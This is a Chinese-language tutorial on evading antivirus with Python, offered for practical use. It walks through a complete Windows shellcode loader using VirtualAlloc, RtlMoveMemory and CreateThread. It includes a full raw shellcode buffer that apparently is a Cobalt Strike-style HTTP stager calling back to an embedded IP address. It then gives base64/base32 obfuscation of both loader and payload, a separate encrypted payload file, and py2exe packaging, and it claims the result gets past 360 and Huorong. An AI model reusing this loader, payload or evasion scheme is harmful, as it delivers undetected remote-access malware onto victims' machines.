python免杀过国内主流杀软
python基础
本文使用python来进行免杀,所以需要提前了解一些python的基础【写给小白朋友】
•exec函数
exec函数是python的内置函数,用来执行python命令,实例如下:
exec("print(1)") #输出结果:1
exec("a=1") #定义变量a,其值为1
这个函数我们之后会用到,我们可以配合加密来完成代码混淆这一步骤。
此外,exec函数支持多行python代码的执行,而另一个函数eval()仅支持单行python代码的执行。exec函数所执行的代码可以是多行的,如下:
exec("""
def func():
print('Hello World!')
""")
func() # 输出:Hello World!
•文件的读取和写入
我们这次的加载器需要使用到文件方式的分离免杀,所以掌握文件的读取和写入十分重要。
python的文件读取和写入异常简单,相比于C++等语言来说十分方便。
首先了解open函数,open()用于打开文件,open函数的实例身上有read函数等等方法来实现文件的操作。看下实例代码
f = open('a.txt', 'wr') # 读取文件a.txt,第二个参数代表write+read,即写和读的权限
print(f.read()) # 读取并输出a.txt里的内容
f.write('xxx') # 向a.txt内写入内容
f.close() # 断开连接,节省内存
至此你已经学会了python的文件读取和写入,学这么些就够了
•python简单加密
常见的加密有base64(简称b64),xor加密,和更复杂的例如AES,DES等加密方式。
python中有一个类库叫做base64,但是base64库不仅能够加解密b64,还支持b32,b16等方式,看下实例代码,注释写得很详细了。
import base64 # 导入base64类库
shellcode = 'plain text' # 要加密的内容
t = base64.b64encode(shellcode.encode('UTF-8')) # 通过base64方式加密字符串变量shellcode,存入变量t
print(t) # 输出t
print(base64.b64decode(t)) # 输出base64解密t后的结果
# 其他的加密方式也基本一样,如下:
base64.b16encode(xxx) # base16加密
base64.b16decode(xxx) # base16解密
# 多层加密的方式也基本一样,如下:
base64.b64encode(base64.b32encode(xxxx))
至此你已经学会了python的基本加密操作,其中我们会用到多层加密来实现对于shellcode和加载器本体的混淆。
利用python进行免杀
学习完python的基础知识后,就进入了我们的重头戏,利用python进行免杀。
常规的shellcode loader的思路就是所谓的“三部曲”:
•1.为shellcode开辟内存空间
•2.将shellcode载入这段内存空间
•3.执行这段内存空间
这一部分并不是我们的重点,我们的重点是对现有的shellcode loader进行加密改造,所以我们使用网上现成的加载器。
import ctypes
import base64
def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
if __name__ == "__main__":
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x75\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x54\x32\x62\x75\x00\x92\xfb\xcb\x71\x9a\xfb\x11\x84\x88\x42\x2f\x49\xa5\x7e\x93\xd2\x2d\x02\x67\xce\x5e\x75\x24\x36\x9d\x78\xfd\x20\xba\x2f\x7c\x6c\xfc\x63\x01\x9c\x9f\x93\x2f\xb9\x1b\x5e\xe5\x41\x96\x18\x5d\xe2\x6b\xec\x99\x20\xfa\xec\x63\x08\x96\x18\xaa\xeb\x9a\xdf\xfd\x60\x49\x35\x49\xee\x96\x16\x65\x61\x06\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4d\x41\x41\x55\x29\x0d\x0a\x00\x66\x77\xcb\x29\xb1\x0d\xa2\xc8\x12\x8d\x21\x69\x31\xe2\x7c\x4f\x23\x6f\x2b\x32\x9c\xd0\x03\x4d\x0a\xc5\x35\xf3\xce\xa9\xd5\xfd\x2b\xa5\xf6\x83\x43\x9b\xd2\x2e\x17\xbd\xb0\x20\x60\x8c\xb6\xca\x27\x7b\x39\x33\xc1\x9b\x45\x03\x63\x93\x06\x6c\x4e\xf9\x5c\x51\x47\x3e\xe9\xb7\xf1\xd3\x5c\xd0\xc6\xf0\xf0\x9a\x38\x53\xb8\x04\x58\xd1\x56\x69\x4a\xca\xfe\x02\xb3\xa4\x90\xcf\x45\xd3\xc9\xa2\x83\x60\x9a\x42\xe7\x61\xa1\xb8\x71\x34\xcc\x36\xa4\xe9\x3a\xd8\x72\x37\xd4\xf4\xbd\xa0\x0b\x12\xce\x9b\xef\x5e\x09\x4f\x0d\x7b\xd4\x31\x9b\xb0\x6d\x51\x47\xcd\x77\x42\xe4\x3e\xf8\x42\x3f\x8c\xbe\xae\x2b\xf9\x8e\xe7\xf3\x27\xc9\x15\x41\xcf\xf8\x8c\x65\xda\x98\x9e\x20\xae\xa9\x64\x52\x1d\xb0\x7a\xd4\xd7\x37\x68\xdf\x7c\x66\xee\x58\xcb\x62\xdc\x02\x3a\x90\x64\xa7\x2c\xf0\x2e\x05\x57\x4a\x9c\x22\xe1\xd4\x1f\x83\x55\x88\xe7\xd5\x42\xfd\x2c\x8f\xb5\x5a\x74\x8f\x81\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x31\x38\x2e\x31\x33\x33\x00\x12\x34\x56\x78"
shellCodeLoad(bytearray(buf))
简单讲解下:Virtural Alloc函数是用来开辟一段内存空间,通过RtlMoveMemory来把shellcode载入到这段内存中,最后通过CreateThread来创建线程执行这段内存中的内容,通过WaitForSingleObejct来等待执行结束。这是一个非常标准的shellcode loader。
毫无疑问,这个加载器一定会被杀软查杀。都不需要生成exe就被查杀了...
接下来我们把它进行改造。先开发一个加密器,指定一个文件,然后读取文件内容并且把它多层加密输出出来。相信通过刚刚python基础部分的学习,你一定能够开发出来。
我开发的版本如下,你也可以自行改造。我的注释已经写得很清楚了,大家自己学习
import base64 # 导入base64
import sys # 导入sys模块,用于获取指定的文件
f = open(sys.argv[1]) # 打开指定的文件,文件名是通过命令行传入的第一个参数
t = f.read() # 读取文件内容,存入t变量
encoded = base64.b64encode(base64.b32encode(t.encode('UTF-8'))) # 多层加密,存入encoded变量
print(encoded) # 输出
f.close() # 关闭文件,节省内存
测试下效果,没有问题:
接下来我们就要来加密loader代码。通过exec(base64.b64decode(xxx))这种方式就可以巧妙地混淆我们的loader代码,其中用到的所有函数都在前文中教授过,忘记了可以回去复习一下。
提供一下我的代码,大家可以自行改造,同样注释已经很清楚了。
from base64 import b64encode
# 下面是加载器的核心函数
code = """def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))"""
# 输出base64加密后的函数代码
print(b64encode(code.encode()))
输出结果是
ZGVmIHNoZWxsQ29kZUxvYWQoc2hlbGxjb2RlKToKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKICAgIHB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksY3R5cGVzLmNfaW50KDB4NDApKQogICAgYnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKQogICAgZXZhbChiYXNlNjQuYjY0ZGVjb2RlKCJZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTEdKMVppeGpkSGx3WlhNdVkxOXBiblFvYkdWdUtITm9aV3hzWTI5a1pTa3BLUT09IikpCiAgICBoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSkKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoaGFuZGxlKSwgY3R5cGVzLmNfaW50KC0xKSk=
看不懂就对了,杀软也看不懂,也就不会识别,这样我们的shellcode loader就变成这样了:
from base64 import b64decode, b64encode
import ctypesshellcode = bytearray(b'\xfc.........')exec(b64decode('ZGVmIHNoZWxsQ29kZUxvYWQoc2hlbGxjb2RlKToKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKICAgIHB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksY3R5cGVzLmNfaW50KDB4NDApKQogICAgYnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKQogICAgZXZhbChiYXNlNjQuYjY0ZGVjb2RlKCJZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTEdKMVppeGpkSGx3WlhNdVkxOXBiblFvYkdWdUtITm9aV3hzWTI5a1pTa3BLUT09IikpCiAgICBoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSkKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoaGFuZGxlKSwgY3R5cGVzLmNfaW50KC0xKSk=').decode())
接下来来处理shellcode
Cobalt Strike 4 生成一段python shellcode。
把完整的shellcode赋值语句加密后存入一个分离的文件中,然后再在loader中读取文件内容解密执行即可。
完整的shellcode赋值语句如下:
shellcode = bytearray(b'\xfc\x48\x83\....')
通过我们的encoder来加密一下,然后存入文件code.dat中。
python encoder.py code.dat
接下来再补充一下我们的loader即可,完整如下(完整版注释已写):
# 导入所有工具库
from base64 import b32decode, b64decode, b64encode
import ctypes
import base64
# 从code.dat读取shellcode并解密,分离免杀
f = open('code.dat')
code = f.read()
code = b32decode(b64decode(code))
f.close()
# 执行shellcode赋值语句
exec(code.decode())
# 定义函数
exec(b64decode('ZGVmIHNoZWxsQ29kZUxvYWQoc2hlbGxjb2RlKToKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKICAgIHB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksY3R5cGVzLmNfaW50KDB4NDApKQogICAgYnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKQogICAgZXZhbChiYXNlNjQuYjY0ZGVjb2RlKCJZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTEdKMVppeGpkSGx3WlhNdVkxOXBiblFvYkdWdUtITm9aV3hzWTI5a1pTa3BLUT09IikpCiAgICBoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSkKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoaGFuZGxlKSwgY3R5cGVzLmNfaW50KC0xKSk=').decode())
# 加载
shellCodeLoad(shellcode)
通过py2exe打包一下,生成一个exe和code.dat,上传靶机。(不建议用pyinstaller,亲子测试发现部分杀软对pyisntaller无条件查杀,建议用Py2exe打包)
免杀效果测试
静态测试免杀360,火绒,均能够正常上线。
•这里仅测试部分杀软,defender等杀软请自测,国外杀软需要CS去特征
总结
本文适合有一些编程功底的人看。
这次成功bypass掉了国内的两个主流杀软,其他的杀软请自行测试,国内的杀软基本都能够过掉。
文章把思路都教给大家了,大家不要直接抄文中的代码,把python基础和winapi内容学好,免杀其实并不复杂,关键在于思路。另外还可以自己对源码进行混淆等操作。思路给到大家,自己改改代码,或者拓宽思路来重新写loader,免杀其实很简单。